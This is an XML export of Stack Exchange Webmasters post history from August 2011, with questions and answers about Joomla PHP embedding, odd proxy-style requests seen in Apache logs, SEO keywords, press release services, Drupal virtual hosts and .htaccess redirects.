  <row Id="43774" PostHistoryTypeId="3" PostId="18079" RevisionGUID="64a0501c-7f75-4d64-ade9-1ac0c85bc25a" CreationDate="2011-08-11T13:49:12.077" UserId="8896" Text="&lt;php&gt;&lt;joomla&gt;" />
  <row Id="43775" PostHistoryTypeId="2" PostId="18080" RevisionGUID="1e0b5ff8-bb98-4158-9212-3cef95b0a171" CreationDate="2011-08-11T14:32:35.363" UserId="8469" Text="I run a website, let's say http://www.example.com/.  On it I have a path and file, say http://www.example.com/path/file.html.  The Apache log lists GET requests like&#xD;&#xA;&#xD;&#xA;    GET /path/file.html HTTP/1.1&#xD;&#xA;&#xD;&#xA;which is correct, corresponding to http://www.example.com/path/file.html; such lines result in a 200 status code and everything's good.  But then I have other entries&#xD;&#xA;&#xD;&#xA;    GET /http://www.example.com/path/file.html HTTP/1.1&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    GET /http://www.othersite.net/ HTTP/1.1&#xD;&#xA;&#xD;&#xA;which correspond to http://www.example.com/http://www.example.com/path/file.html or http://www.example.com/http://www.othersite.net/ which does not exist.  These requests are always from far away (Italy, Latvia, ...) while actual users of my website are invariably local.  What are these?  Is there any particular reason for these requests?  Have others seen these happen?&#xD;&#xA;&#xD;&#xA;It's been going on for at least a year and it's continuous (though I'm not being flooded).&#xD;&#xA;&#xD;&#xA;These aren't transparent attacks like&#xD;&#xA;&#xD;&#xA;    GET //mysql-admin/ HTTP/1.1&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    GET /webdav/test HTTP/1.1&#xD;&#xA;&#xD;&#xA;but they're too common to be confused people playing with HTTP manually." />
  <row Id="43776" PostHistoryTypeId="1" PostId="18080" RevisionGUID="1e0b5ff8-bb98-4158-9212-3cef95b0a171" CreationDate="2011-08-11T14:32:35.363" UserId="8469" Text="http://www.example.com/http://www.example.com/ in Apache log?" />
  <row Id="43777" PostHistoryTypeId="3" PostId="18080" RevisionGUID="1e0b5ff8-bb98-4158-9212-3cef95b0a171" CreationDate="2011-08-11T14:32:35.363" UserId="8469" Text="&lt;apache&gt;&lt;http&gt;&lt;logging&gt;" />
  <row Id="43778" PostHistoryTypeId="25" PostId="18061" RevisionGUID="4b679c96-4970-42c1-ba20-ee95dd3aea16" CreationDate="2011-08-11T14:34:18.057" Comment="http://twitter.com/#!/StackWebmasters/status/101662729697366016" />
  <row Id="43779" PostHistoryTypeId="5" PostId="18079" RevisionGUID="79ad55e4-998c-4032-8572-5d7c8354a959" CreationDate="2011-08-11T14:36:54.267" UserId="8896" Comment="added 233 characters in body" Text="**Preface:**&#xD;&#xA;&#xD;&#xA;I recently inherited a website project that my employer had summer interns create. Being non-technical types, they opted for Joomla CMS to create the content. They also opted to make all of the current content static, and to manage updates manually, article by article (these were high school interns with little/no technical background).&#xD;&#xA;&#xD;&#xA;As part of my takeover, one of my first goals is to get all of the volatile data (company information, event information, etc) into MySQL, and then load the content into the articles dynamically. Joomla already has a MySQL database; I've added a table to it, storing the frontend content I want to load dynamically, and now I want to make one of my articles pull from that table, row by row, and spit out some HTML to format it. To my knowledge, the easiest way to do this is to use PHP to embed SQL queries (if I'm wrong about that, feel free to suggest alternate dynamic content models in Joomla!), and so the logical first step is to get some PHP embedded in an article.&#xD;&#xA;&#xD;&#xA;**Problem:**&#xD;&#xA;&#xD;&#xA;I have tried using the [Sourcerer][1] and [DirectPHP][2] extensions, but in both cases (and with manually inserted PHP code), I find that the PHP is getting ignored. For example, I made an article with nothing but this:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;      echo &quot;This is a PHP string&quot;;&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;And when I load the article, it is empty. I've scanned the settings and configuration pages of the Joomla install and done a number of Google searches, and thus far haven't been able to find anything. I bet I'm missing something pretty simple, but I don't know what. Any suggestions?&#xD;&#xA;&#xD;&#xA;  [1]: http://extensions.joomla.org/search?q=sourcerer&#xD;&#xA;  [2]: http://extensions.joomla.org/search?q=directphp" />
  <row Id="43780" PostHistoryTypeId="2" PostId="18081" RevisionGUID="f855e9d6-2245-4256-a5a0-fbb24db7f8f6" CreationDate="2011-08-11T14:39:26.770" UserId="6355" Text="Online PPC campaign management can be a full time job, and it's purpose is to optimize campaigns. Basically you spend your time:&#xD;&#xA;&#xD;&#xA;a) Deleting unprofitable ads, keywords and audiences,&#xD;&#xA;&#xD;&#xA;b) Testing new ads, keywords and audiences,&#xD;&#xA;&#xD;&#xA;c) Adopting and investing more in campaigns and ads that work.&#xD;&#xA;&#xD;&#xA;d) Improving your website and conversion funnel.&#xD;&#xA;&#xD;&#xA;To do your job, you can use Google Analytics (properly configured), Google Adwords and Google Website optimizer (if you want to do A/B tests). &#xD;&#xA;&#xD;&#xA;You can also choose to place your ads on Google Search instead of other websites. Usually there's less scams in ads on search results pages. &#xD;&#xA;&#xD;&#xA;Finally you have to accept that you can't have 100% of qualified traffic. Hopefully traffic that converts will produce enough to pay the bills.&#xD;&#xA;" />
  <row Id="43781" PostHistoryTypeId="17" PostId="18082" RevisionGUID="563adde6-e028-4660-b361-a92de6865b77" CreationDate="2011-08-11T14:39:52.577" UserId="-1" Comment="from http://stackoverflow.com/questions/6019994/seo-google-keywords-issue-can-anyone-shed-any-light-on-this-for-me" Text="" />
  <row Id="43782" PostHistoryTypeId="2" PostId="18082" RevisionGUID="6d9f6a56-d4d5-4fe4-a276-986c3ffb028a" CreationDate="2011-05-16T15:55:12.150" UserDisplayName="Dan" Text="I launched my site a few months ago, it have been indexed by google for most of the keywords I had in mind. The only thing is, one of the most important keywords of all is not showing up in webmaster tools as a keyword. This is causing me a real pain, as people will not find my site. My SEO skills are usually effective, which is why this has stumped me. It's for my web design website. The keyword(s) i'm missing are web and website. &#xD;&#xA;&#xD;&#xA;As my site is about web design, the design on it's own will not help! I have noticed my word count on website and web are quite high, but that's naturally occurring. I didn't fill it with junk, because I don't think that's the best way. Is this some sort of google procedure to block the keyword &quot;website&quot;. I am just re-designing my site and re-writing all content in effort to solve this issue. &#xD;&#xA;&#xD;&#xA;Can anyone give me any advice on this problem? [Here is my website][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ransomedesign.co.uk/web/" />
  <row Id="43783" PostHistoryTypeId="1" PostId="18082" RevisionGUID="6d9f6a56-d4d5-4fe4-a276-986c3ffb028a" CreationDate="2011-05-16T15:55:12.150" UserDisplayName="Dan" Text="SEO - google keywords issue. Can anyone shed any light on this for me?" />
  <row Id="43784" PostHistoryTypeId="3" PostId="18082" RevisionGUID="6d9f6a56-d4d5-4fe4-a276-986c3ffb028a" CreationDate="2011-05-16T15:55:12.150" UserDisplayName="Dan" Text="&lt;google&gt;&lt;websites&gt;&lt;keywords&gt;" />
  <row Id="43785" PostHistoryTypeId="6" PostId="11503" RevisionGUID="af479b47-6db4-41da-8d92-009c0eb0d1d3" CreationDate="2011-08-11T14:40:20.660" UserId="8856" Comment="edited tags" Text="&lt;ux&gt;" />
  <row Id="43786" PostHistoryTypeId="6" PostId="8491" RevisionGUID="f3489a5f-b729-4274-9c3a-9babccaa4813" CreationDate="2011-08-11T14:41:16.713" UserId="8856" Comment="edited tags" Text="&lt;mambo&gt;" />
  <row Id="43787" PostHistoryTypeId="10" PostId="18082" RevisionGUID="1092810f-f18d-4255-a3d2-4c4b39b6dfdf" CreationDate="2011-08-11T14:44:04.790" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43788" PostHistoryTypeId="5" PostId="18080" RevisionGUID="7936eb97-1009-43b4-91dc-a3fdc30c6160" CreationDate="2011-08-11T14:56:44.340" UserId="8469" Comment="404" Text="I run a website, let's say http://www.example.com/.  On it I have a path and file, say http://www.example.com/path/file.html.  The Apache log lists GET requests like&#xD;&#xA;&#xD;&#xA;    GET /path/file.html HTTP/1.1&#xD;&#xA;&#xD;&#xA;which is correct, corresponding to http://www.example.com/path/file.html; such lines result in a 200 status code and everything's good.  But then I have other entries&#xD;&#xA;&#xD;&#xA;    GET http://www.example.com/path/file.html HTTP/1.1&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    GET http://www.othersite.net/ HTTP/1.1&#xD;&#xA;&#xD;&#xA;which would correspond to something like http://www.example.com/http://www.example.com/path/file.html or http://www.example.com/http://www.othersite.net/ which do not exist.  (My server returns a 404 for these.)  These requests are always from far away (Italy, Latvia, ...) while actual users of my website are invariably local.  What are these?  Is there any particular reason for these requests?  Have others seen these happen?&#xD;&#xA;&#xD;&#xA;It's been going on for at least a year and it's continuous (though I'm not being flooded).&#xD;&#xA;&#xD;&#xA;These aren't transparent attacks like&#xD;&#xA;&#xD;&#xA;    GET //mysql-admin/ HTTP/1.1&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    GET /webdav/test HTTP/1.1&#xD;&#xA;&#xD;&#xA;but they're too common to be confused people playing with HTTP manually." />
  <row Id="43789" PostHistoryTypeId="6" PostId="10010" RevisionGUID="9fdc9ebe-006b-467b-afba-fefe0ff2cfb3" CreationDate="2011-08-11T15:33:25.353" UserId="8856" Comment="edited tags" Text="&lt;iframe&gt;" />
  <row Id="43790" PostHistoryTypeId="2" PostId="18083" RevisionGUID="0284208e-371b-4643-9690-4ecd1f85613a" CreationDate="2011-08-11T15:38:39.073" UserId="8909" Text="I have a Html Form that let the user write what they wanna search for in this case a Name, The Form Works but its in the php i need help , i dont know what i have to write to get MYSQL to search the database for what the user inputed.&#xD;&#xA;Here is the line where i get stuck&#xD;&#xA;&#xD;&#xA;    $result = mysql_query(&quot;SELECT * FROM {$table} WHERE name = 'What do i gonna write&#xD;&#xA;    here? (take away the ' &quot;);&#xD;&#xA;&#xD;&#xA;I´m using PHP 5&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;Fredrik" />
  <row Id="43791" PostHistoryTypeId="1" PostId="18083" RevisionGUID="0284208e-371b-4643-9690-4ecd1f85613a" CreationDate="2011-08-11T15:38:39.073" UserId="8909" Text="database query the table for the users input?" />
  <row Id="43792" PostHistoryTypeId="3" PostId="18083" RevisionGUID="0284208e-371b-4643-9690-4ecd1f85613a" CreationDate="2011-08-11T15:38:39.073" UserId="8909" Text="&lt;php&gt;" />
  <row Id="43793" PostHistoryTypeId="14" PostId="18083" RevisionGUID="926fe07c-125a-4203-9ea2-a4703045da37" CreationDate="2011-08-11T15:42:08.853" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="43794" PostHistoryTypeId="17" PostId="18083" RevisionGUID="a46644d5-a89b-4a06-a2f7-513b8baba948" CreationDate="2011-08-11T15:42:08.867" UserId="1253" Comment="to http://stackoverflow.com/questions/7028808/database-query-the-table-for-the-users-input" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43795" PostHistoryTypeId="10" PostId="18083" RevisionGUID="d205458f-dd82-49be-acab-2223147952a2" CreationDate="2011-08-11T15:42:06.903" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43796" PostHistoryTypeId="2" PostId="18084" RevisionGUID="31b6a03e-e988-4382-ac87-a85ec6d65084" CreationDate="2011-08-11T16:05:58.097" UserId="9123" Text="This is entirely possible. Assuming you are running Google Analytics Version 5 (the new interface):&#xD;&#xA;&#xD;&#xA;    1. Go to &quot;Custom Reports&quot; (top navigation)&#xD;&#xA;    2. Click on &quot;+New Custom Report&quot;&#xD;&#xA;    3. And set the following:&#xD;&#xA;     a. +add metric: Entrances, Bounces, Unique Visitors, Pageviews, Avg. Time on Page, Avg. Time on Site&#xD;&#xA;     b. +add dimension: Day of Week, Page Title, Visitor Type, City, and whatever you like&#xD;&#xA;    4. Enter filters:&#xD;&#xA;     a. Exclude &quot;Day of Week&quot; Exact 0 (that's Sunday)&#xD;&#xA;     b. Exclude &quot;Day of Week&quot; Exact 6 (that's Saturday)&#xD;&#xA;&#xD;&#xA;Or for easy reference I have already set it up and shared:&#xD;&#xA;[Performance Weekdays: Click me][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/analytics/web/crPermalink?data=AH4sIAAAAAAAAAHWPwUrDQBCGs1FEFpEYFdfFQ9ibPUhEUfDkQfAkFhra8xqnZTDNht1JJI_ga7QP4Cua6GGrmOv3_TPzT2x4EAt-NAY7N3apyxySGcDbq25dFKhDXeqiJczdBZRke-1GZ3wDd8HneT8Rs1SwhA3am96mTH6GfPsyvbrttg_eXe18hHzN-uB1KiO-9wRkMU8eramrgVrqwMMXU3-jE4_IkC6m6JCMdZsLKr2ABuHdqVMPdbMYd_yhtprQlEr8UhNwrqMZLmE0k_-9q-7lnxMZUgHqXB573Py0ydoKVCT3vciR2rtdEQgmQrH1BYtDXY2jAQAA" />
  <row Id="43797" PostHistoryTypeId="6" PostId="8206" RevisionGUID="4df8d6e7-d1ee-4ec0-8179-a95edeafd925" CreationDate="2011-08-11T16:15:33.477" UserId="6276" Comment="edited tags" Text="&lt;community&gt;" />
  <row Id="43798" PostHistoryTypeId="5" PostId="8206" RevisionGUID="d6e69f91-0bc1-48f2-9afe-db2ad6e4c128" CreationDate="2011-08-11T16:15:44.553" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to start and encourage an online community?](http://webmasters.stackexchange.com/questions/17532/how-to-start-and-encourage-an-online-community)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;How do you start an on-line community QA site similar to stackoverflow?" />
  <row Id="43799" PostHistoryTypeId="10" PostId="8206" RevisionGUID="5ffdcf4e-312e-44c4-8f55-118b6ab3aed8" CreationDate="2011-08-11T16:15:43.447" UserId="6276" CloseReasonId="1" Text="[{&quot;Id&quot;:6276,&quot;DisplayName&quot;:&quot;Shog9&quot;}]" />
  <row Id="43800" PostHistoryTypeId="25" PostId="18074" RevisionGUID="c4a42a61-a469-4d95-aade-6183bbb559b6" CreationDate="2011-08-11T16:34:18.673" Comment="http://twitter.com/#!/StackWebmasters/status/101692931739619329" />
  <row Id="43801" PostHistoryTypeId="2" PostId="18085" RevisionGUID="4a458a36-35ce-4260-9d91-d51d9267a1db" CreationDate="2011-08-11T18:02:27.930" UserId="5727" Text="I'm not trying to label this website as a spam service, but use it as an example to enquire about:&#xD;&#xA;&#xD;&#xA;http://www.prweb.com/&#xD;&#xA;&#xD;&#xA;And there are many like it.  I've been considering using their services as they have been recommended on here, but after talking to some people they have told me 'It is definitely a spam service'.&#xD;&#xA;&#xD;&#xA;Are these sorts of services spam services?  Could Google penalise you for using them?  Do they have any legitimate value?" />
  <row Id="43802" PostHistoryTypeId="1" PostId="18085" RevisionGUID="4a458a36-35ce-4260-9d91-d51d9267a1db" CreationDate="2011-08-11T18:02:27.930" UserId="5727" Text="Are press release distribution services spam services?" />
  <row Id="43803" PostHistoryTypeId="3" PostId="18085" RevisionGUID="4a458a36-35ce-4260-9d91-d51d9267a1db" CreationDate="2011-08-11T18:02:27.930" UserId="5727" Text="&lt;seo&gt;&lt;spam&gt;&lt;spamming&gt;&lt;press-releases&gt;" />
  <row Id="43806" PostHistoryTypeId="25" PostId="18085" RevisionGUID="02ac5b48-9998-44f3-b164-5e174069145b" CreationDate="2011-08-11T18:34:19.397" Comment="http://twitter.com/#!/StackWebmasters/status/101723133056270336" />
  <row Id="43807" PostHistoryTypeId="2" PostId="18087" RevisionGUID="6d0b301f-e8b8-484d-ad7b-2ba449aa329f" CreationDate="2011-08-11T18:42:12.340" UserId="1253" Text="Whomever told you it was a &quot;spam service&quot; doesn't know what they're talking about. Press Releases have been around almost as long as their has been a press. For it to move online was a natural progression.&#xD;&#xA;&#xD;&#xA;Services like PRWeb only provide a means for small companies to do press releases. The releases themselves are not spammy and the act of distributing them also is not spam. As far as quality content goes, press releases are not considered quality content. Besides rarely containing any valuable information, they're duplicated across many websites that republish them. This is where the confusion probably starts. Services like PRWeb are not creating low quality content nor are they attempting to offer a service that manipulates the search engines. The sites that republish pres releases are the real problem as they are adding low quality content to their sites. If these make up a large portion of a website's content then Google will take notice and the Panda Algorithm will probably take effect. &#xD;&#xA;&#xD;&#xA;But the fact that PRWeb distributes press releases is not an issue for SEO at all. It's only an issue for the sites that depend on press releases for content. " />
  <row Id="43808" PostHistoryTypeId="2" PostId="18088" RevisionGUID="7d6072ed-a9ef-41dd-b059-e79d0767fb93" CreationDate="2011-08-11T18:54:31.390" UserId="9533" Text="On my Mac OSX Apache server there are 2 sites, school and club, with web roots at www/school and www/club. Apache is configured via virtual hosts to serve school at school.domain.edu and club at school.domain.edu/club. The most salient difference between the two sites is that club uses a Drupal installation whereas school is written in a custom Coldfusion framework.&#xD;&#xA;&#xD;&#xA;This configuration worked quite nicely until recently, when it seems that the Drupal installation in www/club suddenly began treating school.domain.edu/index.cfm as a node somehow, trying to load the club site's template css and modules when the school site's index is accessed, resulting in very messy page. Other pages in www/school are unaffected, only the index page seems to have been eaten by Drupal.&#xD;&#xA;&#xD;&#xA;I don't have much Drupal experience, and I am utterly baffled how the Drupal installation in one site of a virtual host setup can hijack the other site. Does anyone have any idea what I should change to tell Drupal to stay in its own site?" />
  <row Id="43809" PostHistoryTypeId="1" PostId="18088" RevisionGUID="7d6072ed-a9ef-41dd-b059-e79d0767fb93" CreationDate="2011-08-11T18:54:31.390" UserId="9533" Text="Drupal Takes Over Sibling Site?" />
  <row Id="43810" PostHistoryTypeId="3" PostId="18088" RevisionGUID="7d6072ed-a9ef-41dd-b059-e79d0767fb93" CreationDate="2011-08-11T18:54:31.390" UserId="9533" Text="&lt;apache&gt;&lt;drupal&gt;&lt;virtualhost&gt;" />
  <row Id="43811" PostHistoryTypeId="2" PostId="18089" RevisionGUID="6f668840-383e-4b12-b344-c243fc36b288" CreationDate="2011-08-11T19:04:24.487" UserId="5219" Text="I know HTML, CSS, JavaScript, and some of PHP/MySQL. I've decided to create simple hotel website, just to exercise my skills, and to see what i can really do. &#xD;&#xA;I wrote concrete technical details of my website:&#xD;&#xA;&#xD;&#xA;1. User database where users can register and log in to see their booked places.&#xD;&#xA;2. Search that has criteria of A)cost B)facilities C)rating D) distance to the user entered place &#xD;&#xA;3. Gallery of house's pictures&#xD;&#xA;4. Transaction page (electronic payment, PayPal and etc.)&#xD;&#xA;5. Calendar that shows which dates are reserved and which are not.&#xD;&#xA;6. Ability to pass user entered info to google maps and show exact location on the map.&#xD;&#xA;7. Reviewing, adding comments to rented room or house.&#xD;&#xA;&#xD;&#xA;Questions:&#xD;&#xA;&#xD;&#xA;1. Is there template or framework that i can take to develop tasks # 1,#2, and #5?&#xD;&#xA;2. If there's no template, where should i start to code my own search that would fit my criteria?&#xD;&#xA;3. How to pass arguments to google maps to show location of house? (Vague explanation is ok)&#xD;&#xA;4. Can you give guidelines on how to code module of website to achieve task #7?&#xD;&#xA;5. How do people usually do task #5? I mean do they take the piece of code or just write it by themselves?&#xD;&#xA;&#xD;&#xA;Sorry for my english.I'm not a native speaker. If you think that this explanation is to vague or indefinite, please do not just close this topic. All i want is just some guidance, i've come to the point when i realized that i need to challenge myself, but before i do this, i need to get some advice.&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="43812" PostHistoryTypeId="1" PostId="18089" RevisionGUID="6f668840-383e-4b12-b344-c243fc36b288" CreationDate="2011-08-11T19:04:24.487" UserId="5219" Text="Developing hotel website" />
  <row Id="43813" PostHistoryTypeId="3" PostId="18089" RevisionGUID="6f668840-383e-4b12-b344-c243fc36b288" CreationDate="2011-08-11T19:04:24.487" UserId="5219" Text="&lt;web-development&gt;&lt;best-practices&gt;&lt;google-maps&gt;" />
  <row Id="43814" PostHistoryTypeId="2" PostId="18090" RevisionGUID="5ca67cb6-bb8b-4b10-9051-0324f1393262" CreationDate="2011-08-11T19:45:19.277" UserId="9535" Text="I was asked to develop a users support community forum for a small and young hi-tech company. This kind of forums is very popular with companies these days and is a great alternative to the official product support lines. An example of what we look for is the Analog Devices' [Engineer Zone][1] forums.&#xD;&#xA;&#xD;&#xA;I am totally noob to this area so any advice will be appreciated - how to start developing such a site, what platforms are available (preferably open-source/free) and what are the advantages and disadvantages of these platforms.&#xD;&#xA;&#xD;&#xA;Is a *stackexchange* style forum appropriate for such site?&#xD;&#xA;&#xD;&#xA;\* If you think there is a better SE site to post this question, please let me know.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ez.analog.com/index.jspa" />
  <row Id="43815" PostHistoryTypeId="1" PostId="18090" RevisionGUID="5ca67cb6-bb8b-4b10-9051-0324f1393262" CreationDate="2011-08-11T19:45:19.277" UserId="9535" Text="What platform can I use to establish a users support forum?" />
  <row Id="43816" PostHistoryTypeId="3" PostId="18090" RevisionGUID="5ca67cb6-bb8b-4b10-9051-0324f1393262" CreationDate="2011-08-11T19:45:19.277" UserId="9535" Text="&lt;forum&gt;" />
  <row Id="43817" PostHistoryTypeId="2" PostId="18091" RevisionGUID="9abd83a8-04de-421c-b690-2fc89595957f" CreationDate="2011-08-11T20:10:04.023" UserId="9495" Text="Does having my keyword phrase in every title or in &lt;strong&gt;&lt;/strong&gt; tag, help my website to achieve a good rating or rise in my keyword in google?&#xD;&#xA;&#xD;&#xA;For example....&#xD;&#xA;&#xD;&#xA;If I have &quot;how does the&quot; keyword phrase, which has !% global competition and over 11,000 searches (with phrase search only) and I use this phrase in every of my page title as it is starting phrase...&#xD;&#xA;&#xD;&#xA;How will that benefit me? &#xD;&#xA;&#xD;&#xA;Any taker for this question?&#xD;&#xA;&#xD;&#xA;Thanks :) " />
  <row Id="43818" PostHistoryTypeId="1" PostId="18091" RevisionGUID="9abd83a8-04de-421c-b690-2fc89595957f" CreationDate="2011-08-11T20:10:04.023" UserId="9495" Text="Does having my keyword phrase in every title of my page good?" />
  <row Id="43819" PostHistoryTypeId="3" PostId="18091" RevisionGUID="9abd83a8-04de-421c-b690-2fc89595957f" CreationDate="2011-08-11T20:10:04.023" UserId="9495" Text="&lt;seo&gt;&lt;google&gt;&lt;keywords&gt;&lt;seo-friendly&gt;&lt;title&gt;" />
  <row Id="43820" PostHistoryTypeId="2" PostId="18092" RevisionGUID="7855da2a-d848-4aaf-bfdc-47727772b0bb" CreationDate="2011-08-11T20:17:35.390" UserId="1253" Text="Maybe. &#xD;&#xA;&#xD;&#xA;Keywords in the `&lt;title&gt;` is only one of about 200 factors Google claims to use so doing this isn't going to make a difference unless you are targeting phrases that have a lower competition. I wouldn't recommend &quot;stuffing&quot; the keyword into the title unless it makes sense. Otherwise you'll confuse or annoy your users and it may trigger a manual review of your website which can end with your pages being devalued and ranking poorly.&#xD;&#xA;&#xD;&#xA;`&lt;strong&gt;` tags have less influence then the title so using it will have very little impact on your page's rankings.&#xD;&#xA;" />
  <row Id="43821" PostHistoryTypeId="5" PostId="18091" RevisionGUID="16de21a0-dd36-47bb-929a-642444f05778" CreationDate="2011-08-11T20:18:01.440" UserId="1253" Comment="minor text edits" Text="Does having my keyword phrase in every title or in `&lt;strong&gt;&lt;/strong&gt;` tag, help my website to achieve a good rating or rise in my keyword in google?&#xD;&#xA;&#xD;&#xA;For example....&#xD;&#xA;&#xD;&#xA;If I have &quot;how does the&quot; keyword phrase, which has !% global competition and over 11,000 searches (with phrase search only) and I use this phrase in every of my page title as it is starting phrase...&#xD;&#xA;&#xD;&#xA;How will that benefit me? &#xD;&#xA;" />
  <row Id="43822" PostHistoryTypeId="25" PostId="18047" RevisionGUID="36e004f6-361d-410a-88ff-2f6b4b1b63c5" CreationDate="2011-08-11T20:34:20.163" Comment="http://twitter.com/#!/StackWebmasters/status/101753333655666690" />
  <row Id="43823" PostHistoryTypeId="17" PostId="18093" RevisionGUID="faedb05b-cc12-4c27-afb1-8d4aef4cc3d3" CreationDate="2011-08-11T20:40:28.297" UserId="-1" Comment="from http://stackoverflow.com/questions/7009537/seo-htaccess-301-redirect" Text="" />
  <row Id="43824" PostHistoryTypeId="17" PostId="18094" RevisionGUID="0e91a747-1829-42b4-8a80-26afcd5a09ad" CreationDate="2011-08-11T20:40:28.297" UserId="-1" Comment="from http://stackoverflow.com/questions/7009537/seo-htaccess-301-redirect" Text="" />
  <row Id="43825" PostHistoryTypeId="2" PostId="18094" RevisionGUID="2b5b5d98-e24f-4773-85d6-acaa9e907dd4" CreationDate="2011-08-10T11:20:32.017" UserId="9497" Text="URL that google indexed ,should contain a part that doesn't exist in your site(or parameter in query string) !&lt;br /&gt;&#xD;&#xA;Assume there is `GGGGGG` in that URL(and of course, that's Not in yours), so :&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_URI}   ^\/(.*)GGGGGG(.*)$&#xD;&#xA;    RewriteRule   (.*)   http://www.footballadvisor.net [R=301,L]" />
  <row Id="43826" PostHistoryTypeId="2" PostId="18093" RevisionGUID="4dd8685e-4fbe-4498-afd8-653c81adf7ad" CreationDate="2011-08-10T10:43:08.457" UserDisplayName="Richard G" Text="Have an SEO question. I have been checking the progress of my site indexing in Google, for some bizarre reason best known to itself, there is a very random URL indexed against my domain which doesnt exist.&#xD;&#xA;&#xD;&#xA;http://www.footballadvisor.net/index.php?option=com_content&amp;view=article&amp;id=35:is-it-possible-to-change-the-types-of-menu-entries&amp;catid=31:general&amp;Itemid=46&#xD;&#xA;&#xD;&#xA;Is there a way I can forward the url and querystring to www.footballadvisor.net as a 301 in my htacess file?&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="43827" PostHistoryTypeId="1" PostId="18093" RevisionGUID="4dd8685e-4fbe-4498-afd8-653c81adf7ad" CreationDate="2011-08-10T10:43:08.457" UserDisplayName="Richard G" Text="seo htaccess 301 redirect" />
  <row Id="43828" PostHistoryTypeId="3" PostId="18093" RevisionGUID="4dd8685e-4fbe-4498-afd8-653c81adf7ad" CreationDate="2011-08-10T10:43:08.457" UserDisplayName="Richard G" Text="&lt;htaccess&gt;&lt;seo&gt;" />
  <row Id="43829" PostHistoryTypeId="2" PostId="18095" RevisionGUID="8575695b-6e4e-4cfd-a2c9-c437dbb83ff8" CreationDate="2011-08-11T20:57:55.930" UserId="9495" Text="Does google index its search result page?&#xD;&#xA;&#xD;&#xA;assuming, google as a website, search results text as a content." />
  <row Id="43830" PostHistoryTypeId="1" PostId="18095" RevisionGUID="8575695b-6e4e-4cfd-a2c9-c437dbb83ff8" CreationDate="2011-08-11T20:57:55.930" UserId="9495" Text="Does google index its search result page?" />
  <row Id="43831" PostHistoryTypeId="3" PostId="18095" RevisionGUID="8575695b-6e4e-4cfd-a2c9-c437dbb83ff8" CreationDate="2011-08-11T20:57:55.930" UserId="9495" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;google-search&gt;&lt;seo-friendly&gt;" />
  <row Id="43832" PostHistoryTypeId="2" PostId="18096" RevisionGUID="b81fb596-659c-4c12-ac96-591fcbc7ef89" CreationDate="2011-08-11T21:02:09.500" UserId="1253" Text="No, they do not index their own pages." />
  <row Id="43833" PostHistoryTypeId="5" PostId="17826" RevisionGUID="6a93b1eb-bc9c-4224-8676-774adfc34c94" CreationDate="2011-08-11T21:07:57.233" UserId="9404" Comment="edited body" Text="I have added the Google +1 Button to my website and discovered the new Social Activity section in Google WebMaster's Tools. Apparently, one of the interesting things you can learn about your audience is demographic data. But in GWT, the _Social Activity &gt; Audience_ section for my site (currently 38 +1's), says the following: &#xD;&#xA;&#xD;&#xA;&gt; Your site doesn’t have enough +1′s yet to show characteristics&#xD;&#xA;&#xD;&#xA;But I'm not sure how many +1's is enough. Google's official [help page for the Audience section][1] offers little insight:&#xD;&#xA;&#xD;&#xA;&gt; The Audience page displays information about people who have +1'd your pages, including the total number of unique users, their location, and their age and gender.&#xD;&#xA;&#xD;&#xA;&gt; All information is anonymized; Google doesn't share personal information about people who have +1’d your pages. To protect privacy, Google won't display age, gender, or location data unless a certain minimum number of people have +1'd your content.&#xD;&#xA;&#xD;&#xA;But what is that &quot;certain minimum number&quot;? I've tried Googling this but all I could find to date was [this page][2] which doesn't answer the question.&#xD;&#xA;&#xD;&#xA;So how many +1's does a site need before GWT will show me audience demographic characteristics?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=1198127&amp;hl=en&#xD;&#xA;  [2]: http://www.im3.co.uk/blog/how-many-1s-do-i-need-to-show-characteristics/" />
  <row Id="43834" PostHistoryTypeId="5" PostId="17741" RevisionGUID="170ba857-c7f7-421b-a1ba-bd4a58cf0de8" CreationDate="2011-08-11T21:14:53.913" UserId="9370" Comment="deleted 106 characters in body" Text="This is just a curiosity to me. Is there a reasonable way to find out what queries put my site near the top of search results? I know it's not really a solvable problem, since there's an unlimited number of potential queries. And I could always search for a unique sentence copied from my site, and show up number one. But, for example, it would be neat if Google kept track of the top results for every query and let you search for your site against *that*. &#xD;&#xA;" />
